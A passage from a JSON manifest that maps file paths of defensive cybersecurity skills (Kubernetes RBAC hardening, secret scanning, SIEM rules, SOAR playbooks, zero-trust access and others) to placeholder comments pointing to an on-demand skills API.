/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rbac-hardening-for-kubernetes%2Fassets%2Ftemplate.md -->","skills/implementing-rbac-hardening-for-kubernetes/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rbac-hardening-for-kubernetes%2Freferences%2Fapi-reference.md -->","skills/implementing-rbac-hardening-for-kubernetes/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rbac-hardening-for-kubernetes%2Freferences%2Fstandards.md -->","skills/implementing-rbac-hardening-for-kubernetes/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rbac-hardening-for-kubernetes%2Freferences%2Fworkflows.md -->","skills/implementing-rsa-key-pair-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rsa-key-pair-management%2FSKILL.md -->","skills/implementing-rsa-key-pair-management/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rsa-key-pair-management%2Fassets%2Ftemplate.md -->","skills/implementing-rsa-key-pair-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rsa-key-pair-management%2Freferences%2Fapi-reference.md -->","skills/implementing-rsa-key-pair-management/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rsa-key-pair-management%2Freferences%2Fstandards.md -->","skills/implementing-rsa-key-pair-management/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rsa-key-pair-management%2Freferences%2Fworkflows.md -->","skills/implementing-runtime-application-self-protection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-application-self-protection%2FSKILL.md -->","skills/implementing-runtime-application-self-protection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-application-self-protection%2Freferences%2Fapi-reference.md -->","skills/implementing-runtime-security-with-tetragon/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-security-with-tetragon%2FSKILL.md -->","skills/implementing-runtime-security-with-tetragon/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-security-with-tetragon%2Fassets%2Ftemplate.md -->","skills/implementing-runtime-security-with-tetragon/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-security-with-tetragon%2Freferences%2Fapi-reference.md -->","skills/implementing-runtime-security-with-tetragon/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-security-with-tetragon%2Freferences%2Fstandards.md -->","skills/implementing-runtime-security-with-tetragon/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-runtime-security-with-tetragon%2Freferences%2Fworkflows.md -->","skills/implementing-saml-sso-with-okta/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-saml-sso-with-okta%2FSKILL.md -->","skills/implementing-saml-sso-with-okta/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-saml-sso-with-okta%2Fassets%2Ftemplate.md -->","skills/implementing-saml-sso-with-okta/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-saml-sso-with-okta%2Freferences%2Fapi-reference.md -->","skills/implementing-saml-sso-with-okta/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-saml-sso-with-okta%2Freferences%2Fstandards.md -->","skills/implementing-saml-sso-with-okta/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-saml-sso-with-okta%2Freferences%2Fworkflows.md -->","skills/implementing-scim-provisioning-with-okta/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-scim-provisioning-with-okta%2FSKILL.md -->","skills/implementing-scim-provisioning-with-okta/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-scim-provisioning-with-okta%2Fassets%2Ftemplate.md -->","skills/implementing-scim-provisioning-with-okta/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-scim-provisioning-with-okta%2Freferences%2Fapi-reference.md -->","skills/implementing-scim-provisioning-with-okta/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-scim-provisioning-with-okta%2Freferences%2Fstandards.md -->","skills/implementing-scim-provisioning-with-okta/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-scim-provisioning-with-okta%2Freferences%2Fworkflows.md -->","skills/implementing-secret-scanning-with-gitleaks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secret-scanning-with-gitleaks%2FSKILL.md -->","skills/implementing-secret-scanning-with-gitleaks/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secret-scanning-with-gitleaks%2Fassets%2Ftemplate.md -->","skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secret-scanning-with-gitleaks%2Freferences%2Fapi-reference.md -->","skills/implementing-secret-scanning-with-gitleaks/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secret-scanning-with-gitleaks%2Freferences%2Fstandards.md -->","skills/implementing-secret-scanning-with-gitleaks/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secret-scanning-with-gitleaks%2Freferences%2Fworkflows.md -->","skills/implementing-secrets-management-with-vault/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secrets-management-with-vault%2FSKILL.md -->","skills/implementing-secrets-management-with-vault/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secrets-management-with-vault%2Freferences%2Fapi-reference.md -->","skills/implementing-secrets-scanning-in-ci-cd/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secrets-scanning-in-ci-cd%2FSKILL.md -->","skills/implementing-secrets-scanning-in-ci-cd/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-secrets-scanning-in-ci-cd%2Freferences%2Fapi-reference.md -->","skills/implementing-security-chaos-engineering/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-chaos-engineering%2FSKILL.md -->","skills/implementing-security-chaos-engineering/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-chaos-engineering%2Freferences%2Fapi-reference.md -->","skills/implementing-security-information-sharing-with-stix2/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-information-sharing-with-stix2%2FSKILL.md -->","skills/implementing-security-information-sharing-with-stix2/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-information-sharing-with-stix2%2Freferences%2Fapi-reference.md -->","skills/implementing-security-monitoring-with-datadog/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-monitoring-with-datadog%2FSKILL.md -->","skills/implementing-security-monitoring-with-datadog/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-security-monitoring-with-datadog%2Freferences%2Fapi-reference.md -->","skills/implementing-semgrep-for-custom-sast-rules/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-semgrep-for-custom-sast-rules%2FSKILL.md -->","skills/implementing-semgrep-for-custom-sast-rules/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-semgrep-for-custom-sast-rules%2Freferences%2Fapi-reference.md -->","skills/implementing-semgrep-for-custom-sast-rules/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-semgrep-for-custom-sast-rules%2Freferences%2Fstandards.md -->","skills/implementing-siem-correlation-rules-for-apt/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-correlation-rules-for-apt%2FSKILL.md -->","skills/implementing-siem-correlation-rules-for-apt/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-correlation-rules-for-apt%2Freferences%2Fapi-reference.md -->","skills/implementing-siem-use-case-tuning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-use-case-tuning%2FSKILL.md -->","skills/implementing-siem-use-case-tuning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-use-case-tuning%2Freferences%2Fapi-reference.md -->","skills/implementing-siem-use-cases-for-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-use-cases-for-detection%2FSKILL.md -->","skills/implementing-siem-use-cases-for-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-siem-use-cases-for-detection%2Freferences%2Fapi-reference.md -->","skills/implementing-sigstore-for-software-signing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-sigstore-for-software-signing%2FSKILL.md -->","skills/implementing-sigstore-for-software-signing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-sigstore-for-software-signing%2Freferences%2Fapi-reference.md -->","skills/implementing-soar-automation-with-phantom/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-automation-with-phantom%2FSKILL.md -->","skills/implementing-soar-automation-with-phantom/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-automation-with-phantom%2Freferences%2Fapi-reference.md -->","skills/implementing-soar-playbook-for-phishing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-for-phishing%2FSKILL.md -->","skills/implementing-soar-playbook-for-phishing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-for-phishing%2Freferences%2Fapi-reference.md -->","skills/implementing-soar-playbook-with-palo-alto-xsoar/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-with-palo-alto-xsoar%2FSKILL.md -->","skills/implementing-soar-playbook-with-palo-alto-xsoar/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-with-palo-alto-xsoar%2Fassets%2Ftemplate.md -->","skills/implementing-soar-playbook-with-palo-alto-xsoar/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-with-palo-alto-xsoar%2Freferences%2Fapi-reference.md -->","skills/implementing-soar-playbook-with-palo-alto-xsoar/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-with-palo-alto-xsoar%2Freferences%2Fstandards.md -->","skills/implementing-soar-playbook-with-palo-alto-xsoar/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-soar-playbook-with-palo-alto-xsoar%2Freferences%2Fworkflows.md -->","skills/implementing-stix-taxii-feed-integration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-stix-taxii-feed-integration%2FSKILL.md -->","skills/implementing-stix-taxii-feed-integration/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-stix-taxii-feed-integration%2Fassets%2Ftemplate.md -->","skills/implementing-stix-taxii-feed-integration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-stix-taxii-feed-integration%2Freferences%2Fapi-reference.md -->","skills/implementing-stix-taxii-feed-integration/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-stix-taxii-feed-integration%2Freferences%2Fstandards.md -->","skills/implementing-stix-taxii-feed-integration/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-stix-taxii-feed-integration%2Freferences%2Fworkflows.md -->","skills/implementing-supply-chain-security-with-in-toto/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-supply-chain-security-with-in-toto%2FSKILL.md -->","skills/implementing-supply-chain-security-with-in-toto/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-supply-chain-security-with-in-toto%2Fassets%2Ftemplate.md -->","skills/implementing-supply-chain-security-with-in-toto/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-supply-chain-security-with-in-toto%2Freferences%2Fapi-reference.md -->","skills/implementing-supply-chain-security-with-in-toto/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-supply-chain-security-with-in-toto%2Freferences%2Fstandards.md -->","skills/implementing-supply-chain-security-with-in-toto/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-supply-chain-security-with-in-toto%2Freferences%2Fworkflows.md -->","skills/implementing-syslog-centralization-with-rsyslog/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-syslog-centralization-with-rsyslog%2FSKILL.md -->","skills/implementing-syslog-centralization-with-rsyslog/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-syslog-centralization-with-rsyslog%2Freferences%2Fapi-reference.md -->","skills/implementing-taxii-server-with-opentaxii/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-taxii-server-with-opentaxii%2FSKILL.md -->","skills/implementing-taxii-server-with-opentaxii/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-taxii-server-with-opentaxii%2Freferences%2Fapi-reference.md -->","skills/implementing-threat-intelligence-lifecycle-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-threat-intelligence-lifecycle-management%2FSKILL.md -->","skills/implementing-threat-intelligence-lifecycle-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-threat-intelligence-lifecycle-management%2Freferences%2Fapi-reference.md -->","skills/implementing-threat-modeling-with-mitre-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-threat-modeling-with-mitre-attack%2FSKILL.md -->","skills/implementing-threat-modeling-with-mitre-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-threat-modeling-with-mitre-attack%2Freferences%2Fapi-reference.md -->","skills/implementing-ticketing-system-for-incidents/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ticketing-system-for-incidents%2FSKILL.md -->","skills/implementing-ticketing-system-for-incidents/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ticketing-system-for-incidents%2Freferences%2Fapi-reference.md -->","skills/implementing-usb-device-control-policy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-usb-device-control-policy%2FSKILL.md -->","skills/implementing-usb-device-control-policy/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-usb-device-control-policy%2Fassets%2Ftemplate.md -->","skills/implementing-usb-device-control-policy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-usb-device-control-policy%2Freferences%2Fapi-reference.md -->","skills/implementing-usb-device-control-policy/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-usb-device-control-policy%2Freferences%2Fstandards.md -->","skills/implementing-usb-device-control-policy/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-usb-device-control-policy%2Freferences%2Fworkflows.md -->","skills/implementing-velociraptor-for-ir-collection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-velociraptor-for-ir-collection%2FSKILL.md -->","skills/implementing-velociraptor-for-ir-collection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-velociraptor-for-ir-collection%2Fassets%2Ftemplate.md -->","skills/implementing-velociraptor-for-ir-collection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-velociraptor-for-ir-collection%2Freferences%2Fapi-reference.md -->","skills/implementing-velociraptor-for-ir-collection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-velociraptor-for-ir-collection%2Freferences%2Fstandards.md -->","skills/implementing-velociraptor-for-ir-collection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-velociraptor-for-ir-collection%2Freferences%2Fworkflows.md -->","skills/implementing-vulnerability-management-with-greenbone/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-management-with-greenbone%2FSKILL.md -->","skills/implementing-vulnerability-management-with-greenbone/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-management-with-greenbone%2Freferences%2Fapi-reference.md -->","skills/implementing-vulnerability-remediation-sla/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-remediation-sla%2FSKILL.md -->","skills/implementing-vulnerability-remediation-sla/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-remediation-sla%2Fassets%2Ftemplate.md -->","skills/implementing-vulnerability-remediation-sla/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-remediation-sla%2Freferences%2Fapi-reference.md -->","skills/implementing-vulnerability-remediation-sla/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-remediation-sla%2Freferences%2Fstandards.md -->","skills/implementing-vulnerability-remediation-sla/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-remediation-sla%2Freferences%2Fworkflows.md -->","skills/implementing-vulnerability-sla-breach-alerting/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-sla-breach-alerting%2FSKILL.md -->","skills/implementing-vulnerability-sla-breach-alerting/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-sla-breach-alerting%2Fassets%2Ftemplate.md -->","skills/implementing-vulnerability-sla-breach-alerting/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-sla-breach-alerting%2Freferences%2Fapi-reference.md -->","skills/implementing-vulnerability-sla-breach-alerting/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-sla-breach-alerting%2Freferences%2Fstandards.md -->","skills/implementing-vulnerability-sla-breach-alerting/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-vulnerability-sla-breach-alerting%2Freferences%2Fworkflows.md -->","skills/implementing-web-application-logging-with-modsecurity/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-web-application-logging-with-modsecurity%2FSKILL.md -->","skills/implementing-web-application-logging-with-modsecurity/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-web-application-logging-with-modsecurity%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-knowledge-proof-for-authentication/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-knowledge-proof-for-authentication%2FSKILL.md -->","skills/implementing-zero-knowledge-proof-for-authentication/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-knowledge-proof-for-authentication%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-knowledge-proof-for-authentication/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-knowledge-proof-for-authentication%2Freferences%2Fstandards.md -->","skills/implementing-zero-knowledge-proof-for-authentication/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-knowledge-proof-for-authentication%2Freferences%2Fworkflows.md -->","skills/implementing-zero-standing-privilege-with-cyberark/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-standing-privilege-with-cyberark%2FSKILL.md -->","skills/implementing-zero-standing-privilege-with-cyberark/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-standing-privilege-with-cyberark%2Fassets%2Ftemplate.md -->","skills/implementing-zero-standing-privilege-with-cyberark/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-standing-privilege-with-cyberark%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-standing-privilege-with-cyberark/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-standing-privilege-with-cyberark%2Freferences%2Fstandards.md -->","skills/implementing-zero-standing-privilege-with-cyberark/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-standing-privilege-with-cyberark%2Freferences%2Fworkflows.md -->","skills/implementing-zero-trust-dns-with-nextdns/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-dns-with-nextdns%2FSKILL.md -->","skills/implementing-zero-trust-dns-with-nextdns/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-dns-with-nextdns%2Fassets%2Ftemplate.md -->","skills/implementing-zero-trust-dns-with-nextdns/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-dns-with-nextdns%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-trust-dns-with-nextdns/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-dns-with-nextdns%2Freferences%2Fstandards.md -->","skills/implementing-zero-trust-dns-with-nextdns/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-dns-with-nextdns%2Freferences%2Fworkflows.md -->","skills/implementing-zero-trust-for-saas-applications/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-for-saas-applications%2FSKILL.md -->","skills/implementing-zero-trust-for-saas-applications/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-for-saas-applications%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-trust-in-cloud/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-in-cloud%2FSKILL.md -->","skills/implementing-zero-trust-in-cloud/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-in-cloud%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-trust-network-access-with-zscaler/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access-with-zscaler%2FSKILL.md -->","skills/implementing-zero-trust-network-access-with-zscaler/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access-with-zscaler%2Fassets%2Ftemplate.md -->","skills/implementing-zero-trust-network-access-with-zscaler/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access-with-zscaler%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-trust-network-access-with-zscaler/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access-with-zscaler%2Freferences%2Fstandards.md -->","skills/implementing-zero-trust-network-access-with-zscaler/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access-with-zscaler%2Freferences%2Fworkflows.md -->","skills/implementing-zero-trust-network-access/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access%2FSKILL.md -->","skills/implementing-zero-trust-network-access/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-zero-trust-network-access%2Freferences%2Fapi-reference.md -->","skills/implementing-zero-trust-with-beyondcorp/SKILL.md":"<!-- Skill available on-demand via 